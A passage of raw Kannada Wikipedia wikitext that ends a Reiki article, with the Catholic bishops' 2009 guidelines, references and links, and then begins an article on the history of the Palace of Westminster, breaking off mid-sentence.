ಮಾಸ್ಟರ್" ವಿವಾದ:(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ(೧೯೯೫). ಪುಟ ೧೦೬),(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟಗಳು ೨೧ ಹಾಗು ೨೩)</ref> === ಕ್ಯಾಥೊಲಿಕ್ ಚರ್ಚ್ ನ ಕಾಳಜಿಗಳು === ಮಾರ್ಚ್ ೨೦೦೯ರಲ್ಲಿ ಡಾಕ್ಟರಿನ್ ಆಫ್ ದಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಕಾನ್ಫರೆನ್ಸ್ ಆಫ್ ಕ್ಯಾಥೊಲಿಕ್ ಬಿಶಪ್ಸ್ ಸಮಿತಿಯು ಕಾನೂನನ್ನು ರೂಪಿಸಿತು(''ಗೈಡ್ ಲೈನ್ಸ್ ಫಾರ್ ಇವ್ಯಾಲ್ಯುವೇಟಿಂಗ್ ರೇಖಿ ಆಸ್ ಆನ್ ಆಲ್ಟರ್ನೇಟಿವ್ ಥೆರಪಿ'' ),<ref>{{cite web |url=http://www.usccb.org/doctrine/Evaluation_Guidelines_finaltext_2009-03.pdf |title=Guidelines for Evaluating Reiki as an Alternative Therapy |last1= |first1=Committee on Doctrine United States Conference of Catholic Bishops |date=25 March 2010 |accessdate=7 April 2010 |archive-date=15 ಮಾರ್ಚ್ 2010 |archive-url=https://web.archive.org/web/20100315024227/http://www.usccb.org/doctrine/Evaluation_Guidelines_finaltext_2009-03.pdf |url-status=dead }}</ref> ಇದರಂತೆ ಕೆಲ ಕ್ಯಾಥೊಲಿಕ್ ಆರೈಕೆ ಕೇಂದ್ರಗಳಲ್ಲಿ ಹಾಗು ಆಸ್ಪತ್ರೆಗಳಲ್ಲಿ ಕ್ಯಾಥೊಲಿಕ್ ಗಳು ಚಿಕಿತ್ಸೆಗಾಗಿ ಬಳಸುತ್ತಿದ್ದ ರೇಖಿ ಪದ್ಧತಿಯನ್ನು ಬಳಸದಂತೆ ತಡೆಹಿಡಿಯಿತು. ಕಾನೂನಿನ ತೀರ್ಮಾನವು ಈ ರೀತಿಯಾಗಿತ್ತು ''"ರೇಖಿ ಚಿಕಿತ್ಸಾ ಪದ್ಧತಿಯು ಕ್ರೈಸ್ತಧರ್ಮದ ಬೋಧನೆ ಅಥವಾ ವೈಜ್ಞಾನಿಕ ಸಾಕ್ಷ್ಯಾಧಾರಕ್ಕೆ ಸಂಗತವಾಗಿರದ ಕಾರಣ, ಕ್ಯಾಥೊಲಿಕ್ ಸಂಸ್ಥೆಗಳಾದ ಕ್ಯಾಥೊಲಿಕ್ ಆರೋಗ್ಯ ಕಾಳಜಿ ಸೌಲಭ್ಯಗಳು ಹಾಗು ಆರೈಕೆ ಕೇಂದ್ರಗಳು, ಅಥವಾ ಚರ್ಚನ್ನು ಪ್ರತಿನಿಧಿಸುವ ವ್ಯಕ್ತಿ, ಉದಾಹರಣೆಗೆ ಕ್ಯಾಥೊಲಿಕ್ ಪಾದ್ರಿಗಳು, ರೇಖಿ ಚಿಕಿತ್ಸಾ ಪದ್ಧತಿಯನ್ನು ಪ್ರಚಾರಪಡಿಸಲು ಅಥವಾ ಅದಕ್ಕೆ ನೆರವು ನೀಡುವುದು ಸಮಂಜಸವಲ್ಲ."'' ==ಇವನ್ನೂ ಗಮನಿಸಿ== * ಪೂರಕ ಚಿಕಿತ್ಸೆ * ಶಕ್ತಿ ಚಿಕಿತ್ಸೆ * ಪರ್ಯಾಯ ಚಿಕಿತ್ಸೆಯ ಶಬ್ದಾರ್ಥಗಳು * ಕೈಗಳನ್ನು ಇರಿಸುವುದು * ರೇಖಿ ಇತಿಹಾಸ * US ನ್ಯಾಷನಲ್ ಸೆಂಟರ್ ಫಾರ್ ಕಾಮ್ಪ್ಲಿಮೆನ್ಟರಿ ಅಂಡ್ ಆಲ್ಟರ್ನೇಟಿವ್ ಮೆಡಿಸಿನ್ * ಕಂಪನಶೀಲ ಚಿಕಿತ್ಸೆ ==ಉಲ್ಲೇಖಗಳು== {{Reflist|colwidth=35em}} == ಗ್ರಂಥಸೂಚಿ == * {{cite book |title=Reiki: Universal Life Energy: Holistic Method Suitable for Self-Treatment and the Home Professional Practice, Teleotherapeutics/Spiritual Healing |last=Baginski |first=Bodo |coauthors=et al. |year=1994 |publisher=New Leaf Distribution Company |location=[[Lithia Springs]], [[Georgia (U.S. state)|Georgia]] |isbn=೦೯೪೦೭೯೫೦೨೭}} * * {{cite book |title=Reiki Healer: A Complete Guide to the Path and Practice of Reiki |last=Ellyard |first=Lawrence |year=2004 |publisher=Lotus Press |location=[[Dorset]], [[ಇಂಗ್ಲೆಂಡ್]] |isbn=೦೯೪೦೯೮೫೬೪೦}} * * {{cite book |title=Reiki: a Gift from the Universe |last=Gollagher |first=Trevor |year=1998}} * {{cite book |title=Reiki - A Beginner's Guide |last=Leir Shuffey |first=Sandi |year=1998 |publisher=Headway |isbn=0340720816}} * {{cite book |title=Healing Reiki (Hamlyn Health & Well Being) |last=McKenzie |first=Eleanor |coauthors=et al. |year=1998 |publisher=Hamlyn |isbn=0600608182}} * {{cite book |last= Rand |first= William L. |title= Reiki: The Healing Touch, First and Second Degree Manual |publisher= Vision Publications |location= [[Michigan]], [[USA]] |edition=Expanded and Revised |year= ೧೯೯೮ |month= March |origyear= ೧೯೯೧ |isbn= ೧೮೮೬೭೮೫೦೩೧}} * * {{cite book |title=The Reiki Factor in the Radiance Technique |last=Ray |first=Barbara |year=1992 |publisher=Radiance Assoc |isbn=0933267002}} * {{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Mikao |coauthors=et al. |year=2000 |publisher=Lotus Press |isbn=0914955578}} * {{cite book |title=Reiki: the Science, Metaphysics and Philosophy |last=Vetheim |first=Dr John & Esther |year=1995 |publisher=PaRama |isbn=0964594404}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{Wiktionary|Reiki}} {{commons category|Reiki}} * {{cite web |url=http://nccam.nih.gov/health/reiki/ |title=Reiki: An Introduction (NCCAM Backgrounder) |author=National Center for Complementary and Alternative Medicine |date=4 May 2010 |accessdate=5 May 2010 |quote=''Government agency dedicated to exploring complementary and alternative healing practices in the context of rigorous science, training complementary and alternative medicine (CAM) researchers, and disseminating authoritative information to the public and professionals''}} * {{cite web |url=http://www.reiki.org/ |title=The International Center for Reiki Training |author=The International Center for Reiki Training |year=2010 |accessdate=5 May 2010 |quote=''Articles and research concerning Reiki''}} * {{cite web |url=http://www.quackwatch.org/01QuackeryRelatedTopics/reiki.html |title=Reiki Is Nonsense |author=Stephen Barrett, M.D. |date=4 August 2009 |accessdate=5 May 2010 |quote=''Quackwatch article by Stephen Barrett''}} [[ವರ್ಗ:ಬಯೋಫೀಲ್ಡ್ ಚಿಕಿತ್ಸೆಗಳು]] [[ವರ್ಗ:ಜಪಾನೀಸ್ ಧಾರ್ಮಿಕ ಪದಗಳು]] [[ವರ್ಗ:ನವಯುಗದ ಆಚರಣೆಗಳು]] [[ವರ್ಗ:ಆರೋಗ್ಯ]] i0ghmk9o7qp46jhln3gaydrynpecfod ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ ಅರಮನೆ 0 28861 1116479 1062108 2022-08-23T13:32:45Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox World Heritage Site | Name = Westminster Palace, [[Westminster Abbey]] and [[St. Margaret's, Westminster|Saint Margaret's Church]] | Image = [[ಚಿತ್ರ:Parliament at Sunset.JPG|300px|alt=Photograph]] | imagecaption = The Palace of Westminster and [[Westminster Bridge]] viewed from across the [[River Thames]] | State Party = United Kingdom | Type = Cultural | Criteria = i, ii, iv | ID = 426 | Region = [[List of World Heritage Sites in Europe|Europe and North America]] | Year = 1987 }} '''ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ ಅರಮನೆ''' ಯನ್ನು '''ಸಂಸತ್ತು ಭವನಗಳು''' ಅಥವಾ '''ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ ಅರಮನೆ''' ಎಂದೂ ಸಹ ಕರೆಯಲಾಗುತ್ತದೆ. ಇದು ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್ ಸಂಸತ್ತಿನ ಎರಡೂ ಸದನಗಳು ಸಭೆ ಸೇರುವ ಕೇಂದ್ರ ಸ್ಥಳವಾಗಿದೆ— ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಹಾಗು ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್. ಇದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನಗರದಲ್ಲಿರುವ ಲಂಡನ್ ಬರೋನ ಪೌರಾಡಳಿತ ಪ್ರದೇಶದ ಹೃದಯಭಾಗದಲ್ಲಿದ್ದು ಥೇಮ್ಸ್ ನದಿಯ {{#tag:ref|At this point of its course, the Thames flows from south to north instead of its general west–east direction, so the Palace is effectively situated on the west bank of the river.|group=note}}ಉತ್ತರ ದಂಡೆಯಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ. ಇದು ಐತಿಹಾಸಿಕ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅಬ್ಬೆಗೆ ಸಮೀಪದಲ್ಲಿರುವುದರ ಜೊತೆಗೆ, ವೈಟ್ ಹಾಲ್ ಹಾಗು ಡೌನಿಂಗ್ ಸ್ಟ್ರೀಟ್ ನ ಸರ್ಕಾರಿ ಕಟ್ಟಡಗಳಿಗೆ ನಿಕಟವಾಗಿದೆ. ಈ ಹೆಸರು ಅರಮನೆಯ ಎರಡು ವಿನ್ಯಾಸಗಳಲ್ಲಿ ಯಾವುದಕ್ಕೆ ಬೇಕಾದರೂ ಉಲ್ಲೇಖಿತವಾಗಬಹುದು: ''ಹಳೆಯ ಅರಮನೆ'' , ಮಧ್ಯಕಾಲೀನ ಕಟ್ಟಡ ಸಂಕೀರ್ಣವು ಬಹುತೇಕವಾಗಿ ೧೮೩೪ರಲ್ಲಿ ನಾಶವಾಯಿತು, ಹಾಗು ನಾವು ಇಂದು ಕಾಣುವುದು ಮರುವಿನ್ಯಾಸವಾದ ''ಹೊಸ ಅರಮನೆ'' ; ಇದು ವಿಧ್ಯುಕ್ತವಾದ ಸಮಾರಂಭಗಳಿಗೆ ರಾಜವಂಶದ ನೆಲೆಯಾಗಿ ತನ್ನ ಮೂಲ ಶೈಲಿ ಹಾಗು ಸ್ಥಾನಮಾನಗಳನ್ನು ಹಾಗೆ ಉಳಿಸಿಕೊಂಡಿದೆ. ಈ ಸ್ಥಳದಲ್ಲಿ ಮೊದಲ ರಾಜವಂಶದ ಅರಮನೆಯನ್ನು ಹನ್ನೊಂದನೇ ಶತಮಾನದಲ್ಲಿ ನಿರ್ಮಿಸಲಾಯಿತು;ಹಾಗು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆ ಸಂಕೀರ್ಣವು ೧೫೧೨ರಲ್ಲಿ ಬೆಂಕಿಗಾಹುತಿಯಾಗುವ ಮುನ್ನ ಇಂಗ್ಲೆಂಡ್ ರಾಜರುಗಳಿಗೆ ಪ್ರಮುಖ ಲಂಡನ್ ನಿವಾಸವಾಗಿತ್ತು. ಇದರ ನಂತರ, ಇದನ್ನು ಸಂಸತ್ತಿನ ಭವನವಾಗಿ ಬಳಸಿಕೊಳ್ಳಲಾಗುತ್ತಿತ್ತು. ಅಲ್ಲಿಂದೀಚೆಗೆ ಹದಿಮೂರನೇ ಶತಮಾನದಿಂದ ಶಾಸನ ಸಭೆಗಳು ಇಲ್ಲಿಯೇ ನಡೆಯುತ್ತವೆ, ಹಾಗು ರಾಯಲ್ ಕೋರ್ಟ್ ಆಫ್ ಜಸ್ಟಿಸ್ ನ ಪೀಠವು, ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ನ ಒಳಗೆ ಹಾಗು ಸುತ್ತಮುತ್ತ ನೆಲೆಯಾಗಿದೆ. ಆಗ ೧೮೩೪ರಲ್ಲಿ, ಸಂಸತ್ತು ಭವನಗಳ ಮೇಲೆ ಭೀಕರ ಬೆಂಕಿ ಅನಾಹುತ ಸಂಭವಿಸಿತು.ಈ ಸಂದರ್ಭದಲ್ಲಿನ ಈ ಅನಾಹುತದಲ್ಲಿ ಉಳಿದ ಮಹತ್ವದ ವಿನ್ಯಾಸಗಳೆಂದರೆ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್, ಸೆಂಟ್ ಸ್ಟೀಫನ್ಸ್ ನ ಸನ್ಯಾಸಿಗೃಹ, ಚ್ಯಾಪಲ್ ಆಫ್ ಸೆಂಟ್ ಮೇರಿ ಅಂಡರ್ಕ್ರಾಫ್ಟ್ ಹಾಗು ಜ್ಯುವೆಲ್ ಟವರ್. ತರುವಾಯ ಅರಮನೆಯ ಮರುನಿರ್ಮಿಸುವ ವಿನ್ಯಾಸಕ್ಕಾಗಿ ನಡೆದ ಹರಾಜು ಪೈಪೋಟಿಯಲ್ಲಿ ವಿನ್ಯಾಸಕಾರ ಚಾರ್ಲ್ಸ್ ಬ್ಯಾರಿ ವಿಜಯಿಯಾದರು; ಹೀಗೆ ಈ ಕಟ್ಟಡವನ್ನು ಪರ್ಪೆಂಡಿಕ್ಯುಲರ್ ಗೋಥಿಕ್(ದೊಡ್ಡ ಕಿಟಕಿಗಳ ತಲೆಭಾಗದಲ್ಲಿ ಲಂಬ ಕೆತ್ತನೆ ಅಲಂಕಾರವಿರುವ ಇಂಗ್ಲೀಷ್ ಗೋಥಿಕ್ ಶೈಲಿ) ಶೈಲಿಯಲ್ಲಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಯಿತು. ಹಳೆ ಅರಮನೆಯ ಅವಶೇಷಗಳನ್ನು(ಬೇರ್ಪಟ್ಟ ಜ್ಯುವೆಲ್ ಟವರ್ ನ್ನು ಹೊರತುಪಡಿಸಿ) ಇನ್ನು ಹೆಚ್ಚಿನ ಬದಲಾವಣೆಯೊಂದಿಗೆ ಸಂಘಟಿಸಲಾಯಿತು. ಇದು ಅರಮನೆ ಅಂಗಳದ ಎರಡು ಸರಣಿಗಳ ಸುತ್ತಲೂ ಸಮ್ಮಿತೀಯವಾಗಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಿದ ೧,೧೦೦ಕ್ಕೂ ಅಧಿಕ ಕೊಠಡಿಗಳನ್ನು ಹೊಂದಿದೆ. ಹೊಸ ಅರಮನೆ ಪ್ರದೇಶದ ಸ್ವಲ್ಪ ಸ್ಥಳಾವಕಾಶವನ್ನು{{Convert|3.24|ha|0}} ಥೇಮ್ಸ್ ನಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು, ಇದು ಪ್ರಮುಖ ಮುಂಭಾಗವಾಗಿದ್ದು, ನದಿಯ ಸಮ್ಮುಖದಲ್ಲಿ {{Convert|265.8|m|0|adj=on}}ನಿರ್ಮಾಣಗೊಂಡಿದೆ. ವಿನ್ಯಾಸಕಾರ ಬ್ಯಾರಿಗೆ ಅಗಸ್ಟಸ್ W.N. ಪುಗಿನ್ ,ನಿರ್ಮಾಣಕಾರ್ಯದಲ್ಲಿ ನೆರವು ನೀಡಿದರು.ಇವರು ಗೋಥಿಕ್ ವಿನ್ಯಾಸ ಹಾಗು ಶೈಲಿಯ ಒಬ್ಬ ಮುಂಚೂಣಿ ವಿನ್ಯಾಸಕಾರನಾಗಿದ್ದರು, ಅಲ್ಲದೇ ಅರಮನೆಯ ಅಲಂಕರಣ ಹಾಗು ಪೀಠೋಪಕರಣಗಳ ವಿನ್ಯಾಸಗಳನ್ನೂ ಒದಗಿಸಿದರು. ನಿರ್ಮಾಣಕಾರ್ಯವು ೧೮೪೦ರಲ್ಲಿ ಆರಂಭಗೊಂಡು, ಮೂವತ್ತು ವರ್ಷಗಳ ಕಾಲ ನಡೆಯಿತು, ನಿರ್ಮಾಣಕಾರ್ಯದಲ್ಲಿ ವಿಳಂಬ ಹಾಗು ಹೆಚ್ಚಿನ ವೆಚ್ಚಗಳು ತಗುಲಿದವು. ಜೊತೆಗೆ ಈ ವೇಳೆಯಲ್ಲಿಯೇ ಇಬ್ಬರು ಪ್ರಮುಖ ವಿನ್ಯಾಸಕಾರರು ನಿಧನರಾದರು; ಒಳಾಂಗಣ ವಿನ್ಯಾಸವು ಇಪ್ಪತ್ತನೆ ಶತಮಾನದವರೆಗೂ ಅಷ್ಟಿಷ್ಟಾಗಿ ನಡೆಯಿತು. ಅಲ್ಲಿಂದೀಚೆಗೆ ಪ್ರಮುಖ ಸಂರಕ್ಷಣಾ ಕಾರ್ಯ ನಡೆಯುತ್ತಿದೆ, ಏಕೆಂದರೆ ಲಂಡನ್ ನಲ್ಲಿ ಉಂಟಾಗುತ್ತಿರುವ ವಾಯು ಮಾಲಿನ್ಯ, ಹಾಗು ಎರಡನೇ ವಿಶ್ವ ಸಮರದ ನಂತರ ವ್ಯಾಪಕವಾಗಿ ದುರಸ್ತಿ ಕೆಲಸಗಳು ನಡೆಯುತ್ತಿವೆ. ಇದರಲ್ಲಿ ೧೯೪೧ರಲ್ಲಿ ನಡೆದ ಬಾಂಬ್ ದಾಳಿಯ ನಂತರದ ಕಾಮನ್ಸ್ ಚೇಂಬರ್ ನ ಮರುನಿರ್ಮಾಣ ಕಾರ್ಯವೂ ಸೇರಿದೆ. ಅರಮನೆಯು, ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಂನ ರಾಜಕೀಯ ಜೀವನದ ಕೇಂದ್ರಬಿಂದುವಾಗಿದೆ; "ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್" UK ಸಂಸತ್ತಿಗೆ ಒಂದು ಲಾಕ್ಷಣಿಕ ಪದವಾಗಿ ಪರಿಣಮಿಸಿದೆ. ಅಲ್ಲದೇ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಆಡಳಿತ ವ್ಯವಸ್ಥೆಯು ಇದರಿಂದ ತನ್ನ ಹೆಸರನ್ನು ಪಡೆದುಕೊಂಡಿದೆ. ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಇದರ ಗಡಿಯಾರ ಗೋಪುರವು, ತನ್ನ ಪ್ರಮುಖ ಗಂಟೆಯಿಂದ "ಬಿಗ್ ಬೆನ್" ಎಂಬ ಹೆಸರಿನಿಂದ ಪರಿಚಿತವಾಗಿದೆ. ಇದು ಲಂಡನ್ ನ ಹಾಗು ಒಟ್ಟಾರೆಯಾಗಿ ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಂನ ಒಂದು ಪ್ರತಿಮಾರೂಪದ ಹೆಗ್ಗುರುತಾಗಿದೆ.ಇದು ನಗರದ ಒಂದು ಅತ್ಯಂತ ಜನಪ್ರಿಯ ಆಕರ್ಷಣೆಗಳಲ್ಲಿ ಒಂದಾಗಿರುವುದರ ಜೊತೆಗೆ ಸಂಸತ್ತಿನ ಪ್ರಜಾಸತ್ತೆಯ ಒಂದು ಲಾಂಛನವಾಗಿದೆ. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು, ೧೯೭೦ರಿಂದಲೂ ಗ್ರೇಡ್ I ಪಟ್ಟಿಯಲ್ಲಿರುವ ಕಟ್ಟಡವಾಗಿದೆ; ಹಾಗು ೧೯೮೭ರಿಂದ UNESCO ವರ್ಲ್ಡ್ ಹೆರಿಟೇಜ್ ಸೈಟ್ ನ(ವಿಶ್ವ ಪರಂಪರೆಯ ಸ್ಮಾರಕ) ಭಾಗವಾಗಿದೆ. == ಇತಿಹಾಸ == === ಪುರಾತನ ಅರಮನೆ === [[ಚಿತ್ರ:Westminster 16C.jpg|right|thumb|<ref>www.parliament.uk ನ ಪ್ರಕಾರ ಹೆಚ್. ಜೆ, ಬ್ರೆವರ್ ರಿಂದ ಮಾಡಲಾದ ವೆಸ್ಟ್ ಮಿನಿಸ್ಟರ್ ನ ಊಹಾತ್ಮಕ ನವೀಕರಣ 1884</ref> 1884 ರಲ್ಲಿ ದಿ ಬಿಲ್ಡರ್ ನಲ್ಲಿ ಪ್ರಕಟಿಸಲಾದ ಪಕ್ಷಿ ನೋಟ, ]] ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆ ಪ್ರದೇಶವು, ಮಧ್ಯ ಯುಗದಲ್ಲಿ ಪ್ರಮುಖ ಕಾರ್ಯತಂತ್ರ ನೀತಿ ರೂಪಿಸುವ ಪ್ರದೇಶವಾಗಿತ್ತು.ಏಕೆಂದರೆ ಇದು ಥೇಮ್ಸ್ ನದಿಯ ದಂಡೆಯಲ್ಲಿ ಸ್ಥಿತವಾಗಿತ್ತು. ಥಾರ್ನಿ ದ್ವೀಪವೆಂದು ಮಧ್ಯ ಯುಗದಲ್ಲಿ ಪರಿಚಿತವಾಗಿದ್ದ ಈ ಪ್ರದೇಶವನ್ನು ೧೦೧೬ರಿಂದ ೧೦೩೫ರವರೆಗೂ ಆಳ್ವಿಕೆ ನಡೆಸಿದ್ದ ಕಾನುಟೆ ದಿ ಗ್ರೇಟ್ ತನ್ನ ನಿವಾಸವನ್ನಾಗಿ ಮೊದಲ ಬಾರಿಗೆ ಬಳಕೆ ಮಾಡಿಕೊಂಡಿದ್ದ. ಇಂಗ್ಲೆಂಡ್ ನ ಸ್ಯಾಕ್ಸನ್ ಉಪಾಂತ ದೊರೆಯಾಗಿದ್ದ ಸೆಂಟ್ ಎಡ್ವರ್ಡ್ ದಿ ಕನ್ಫೆಸರ್, ಥಾರ್ನಿ ದ್ವೀಪದಲ್ಲಿ ಅರಮನೆಯನ್ನು ನಿರ್ಮಿಸಿದ. ಇದು ಲಂಡನ್ ನಗರದ ಪಶ್ಚಿಮ ದಿಕ್ಕಿನಲ್ಲಿ ಸ್ಥಿತವಾಗಿದೆ, ಈ ಅರಮನೆಯು ಆತ ನಿರ್ಮಿಸಿದ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅಬ್ಬೆ ನಿರ್ಮಾಣದ ಸಮಯದಲ್ಲೇ ರೂಪ ತಾಳಿತು.(೧೦೪೫–೫೦) ಥಾರ್ನಿ ದ್ವೀಪ ಹಾಗು ಅದರ ಸುತ್ತಮುತ್ತಲಿನ ಪ್ರದೇಶವು ಶೀಘ್ರದಲ್ಲಿ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಎಂದು ಪರಿಚಿತವಾಯಿತು.(''ವೆಸ್ಟ್ ಮಿನ್ಸ್ಟರ್'' ಪದಗಳ ಸಂಕ್ಷಿಪ್ತ ರೂಪ) ಸ್ಯಾಕ್ಸನ್ ಗಳು ಬಳಸಿದ್ದ ಕಟ್ಟಡಗಳು ಅಥವಾ ವಿಲ್ಲಿಯಮ್ I ಬಳಸಿದ ಕಟ್ಟಡಗಳಾಗಲೀ ಇಂದು ಅಸ್ತಿತ್ವದಲ್ಲಿಲ್ಲ. ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಅರಮನೆಯ ಹಳೆಯ ಭಾಗವು(ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್) ವಿಲ್ಲಿಯಮ್ Iನ ಉತ್ತರಾಧಿಕಾರಿ ರಾಜ ವಿಲ್ಲಿಯಮ್ IIನ ಆಳ್ವಿಕೆಯಷ್ಟು ಹಿಂದಿನದು. ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯು ಮಧ್ಯಕಾಲೀನ ಯುಗದ ಉತ್ತಾರರ್ಧದಲ್ಲಿ ರಾಜನ ಪ್ರಮುಖ ನಿವಾಸವಾಗಿತ್ತು. ಸಂಸತ್ತಿನ ಪೂರ್ವಾಧಿಕಾರಿಗಳಾಗಿದ್ದ ''ಕ್ಯುರಿಯಾ ರೆಗಿಸ್'' (ರಾಜವಂಶದ ಮಂಡಳಿ), ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ನಲ್ಲಿ ಸಂಧಿಸುತ್ತಿದ್ದವು.(ಆದಾಗ್ಯೂ ರಾಜನು ಇತರ ಸ್ಥಳಗಳಿಗೆ ಸ್ಥಳಾಂತರಗೊಳ್ಳುತ್ತಿದ್ದಾಗ ಮಂಡಳಿಯು ಆತನನ್ನು ಅನುಸರಿಸುತ್ತಿತ್ತು). ಇಂಗ್ಲೆಂಡ್ ನ ಮೊದಲ ಅಧಿಕೃತ ಸಂಸತ್ತು-ಮಾದರಿ ಸಂಸತ್ತು ೧೨೯೫ರಲ್ಲಿ ಅರಮನೆಯಲ್ಲಿ ಸಭೆ ಸೇರಿತ್ತು; <ref name="Factsheet G03">{{Cite web |url=http://www.parliament.uk/documents/commons-information-office/g03.pdf |title=A Brief Chronology of the House of Commons |year=2009 |month=April |format=PDF |publisher=House of Commons Information Office |accessdate=5 August 2010}}</ref> ತರುವಾಯದ ಎಲ್ಲ ಸಂಸತ್ತುಗಳು ಬಹುತೇಕ ಇಲ್ಲೇ ಸಭೆ ಸೇರಿವೆ. ಆಗ ೧೫೩೦ರಲ್ಲಿ, ರಾಜ ಹೆನ್ರಿ VIII, ಪೋಪ್ ಮಂತ್ರಿ ಥಾಮಸ್ ವೋಲ್ಸೆಯ್ ಯಿಂದ ಯಾರ್ಕ್ ಅರಮನೆಯನ್ನು ವಶಪಡಿಸಿಕೊಂಡಂತಹ<ref>{{Cite book |last=Fraser |first=Antonia |title=The Wives of Henry VIII |year=1992 |publisher=Alfred A Knopf |location=New York|isbn=0394585380}}</ref> ಒಬ್ಬ ಪ್ರಭಾವಿ ಮಂತ್ರಿಯಾಗಿದ್ದ, ಈತ ರಾಜನ ಅವಕೃಪೆಗೆ ಒಳಗಾಗಿದ್ದ. ವೈಟ್ ಹಾಲ್ ಅರಮನೆಯೆಂದು ಮರುನಾಮಕರಣಗೊಂಡು, ಹೆನ್ರಿ ಇದನ್ನು ತನ್ನ ಮುಖ್ಯ ನಿವಾಸವನ್ನಾಗಿ ಮಾಡಿಕೊಂಡ. ಆದಾಗ್ಯೂ, ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅಧಿಕೃತವಾಗಿ ಒಂದು ರಾಜನ ಅರಮನೆಯಾಗಿ ಉಳಿದರೂ, ಇದನ್ನು ಸಂಸತ್ತಿನ ಎರಡೂ ಸದನಗಳು ಹಾಗು ಹಲವಾರು ರಾಜಮನೆತನದ ಕಾನೂನು ನ್ಯಾಯಾಲಯಗಳು ಬಳಸಿಕೊಳ್ಳುತ್ತವೆ. [[ಚಿತ್ರ:John Roque map detail, Palace of Westminster.jpg|300px|thumb|alt=The Old Palace of Westminster was a complex of buildings, separated from the River Thames in the east by a series of gardens. The largest and northernmost building is Westminster Hall, which lies parallel to the river. Several buildings adjoin it on the east side, south of those and perpendicular to the Hall is the mediaeval House of Commons, further south and parallel to the river is the Court of Requests, with an eastwards extension at its south end, and at the south end of the complex lie the House of Lords and another chamber. The Palace was bounded by St Margaret's Street to the west and Old Palace Yard to the south-west; another street, New Palace Yard, is just visible to the north.|ಜಾನ್ ರಾಕ್ಯೂ ರವರ ಲಂಡನ್ನಿನ 1746 ನಕ್ಷೆಯಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾದ ವಿವರಗಳು.ಸೆಂಟ್ ಸ್ಟೆಫೆನ್ ನ ಚಾಪೆಲ್ ಅನ್ನು "H of Comm" (ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್), ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಇದು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಹಾಲ್ ನ ಪಕ್ಕದಲ್ಲಿದೆ; ಪಾರ್ಲಿಮೆಂಟ್ ಚೆಂಬರ್—"H of L" (ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್)— ಮತ್ತು ಪ್ರಿನ್ಸ್ ಚೆಂಬರ್ ಗಳು ದೂರದ ದಕ್ಷಿಣಕ್ಕಿವೆ.ಈ ಎರಡು ಹೌಸ್ ಗಳ ನಡುವೆಯಿರುವ ಕೋರ್ಟ್ ಆಫ್ ರೆಕ್ವೆಸ್ಟ್ 1801 ರಲ್ಲಿ ಲಾರ್ಡ್ಸ್ ನ ಹೊಸ ಮನೆಯಾಯಿತು.ನದಿಯ ಈಶಾನ್ಯದಿಕ್ಕಿಗೆ ಸ್ಪೀಕರ್‌ ರ ಮನೆಯಿದೆ.]] ಇದು ಮೂಲತಃ ಒಂದು ರಾಜನ ನಿವಾಸವಾಗಿದ್ದ ಕಾರಣ, ಅರಮನೆಯು ಎರಡೂ ಮನೆಗಳಿಗೆಂದೇ ಉದ್ದೇಶಪೂರ್ವಕವಾಗಿ ಯಾವುದೇ ಕೊಠಡಿಗಳನ್ನು ನಿರ್ಮಿಸಿರಲಿಲ್ಲ. ರಾಜ್ಯದ ಪ್ರಮುಖ ಸಮಾರಂಭಗಳನ್ನು ಪೈನ್ಟೆಡ್ ಚೇಂಬರ್ ನಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತಿತ್ತು. ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್ ಮೂಲತಃ ರಾಣಿವಾಸದಲ್ಲಿ ಸಭೆ ಸೇರುತ್ತಿತ್ತು, ಇದು ಸಂಕೀರ್ಣದ ದಕ್ಷಿಣ ತುದಿಯಲ್ಲಿದ್ದ ಸಾಮಾನ್ಯವಾದ 